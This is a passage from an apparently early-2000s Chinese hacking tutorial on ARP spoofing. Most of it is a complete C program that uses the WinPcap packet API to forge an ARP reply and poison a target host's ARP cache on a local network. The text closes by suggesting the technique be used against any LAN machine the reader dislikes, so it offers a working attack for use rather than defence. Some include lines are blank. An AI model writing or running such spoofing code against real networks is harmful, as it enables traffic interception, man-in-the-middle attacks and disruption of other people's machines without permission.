我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。（http://winpcap.polito.it/）
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。
///////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: refdom@263.net
// Home Page: www.opengram.com
//
// 2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h"
//GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了
#include
#include
#define EPT_IP0x0800/* type: IP*/
#define EPT_ARP0x0806/* type: ARP */
#define EPT_RARP0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */
#defineARP_REQUEST0x0001/* ARP request */
#defineARP_REPLY0x0002/* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* ARP/RARP operation */
unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR*temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;
//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != ''\0'')||(*(temp-1) != ''\0''))
{
if (*temp == ''\0'')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");
//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一个网卡（假设啦）
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。（A的地址）
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);
if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in
a single write!\n");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}
printf ("Send ok!\n");
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
于是A接收到一个被伪造的ARP应答。A被欺骗了！！倘若在局域网中看某某机器不顺眼，……
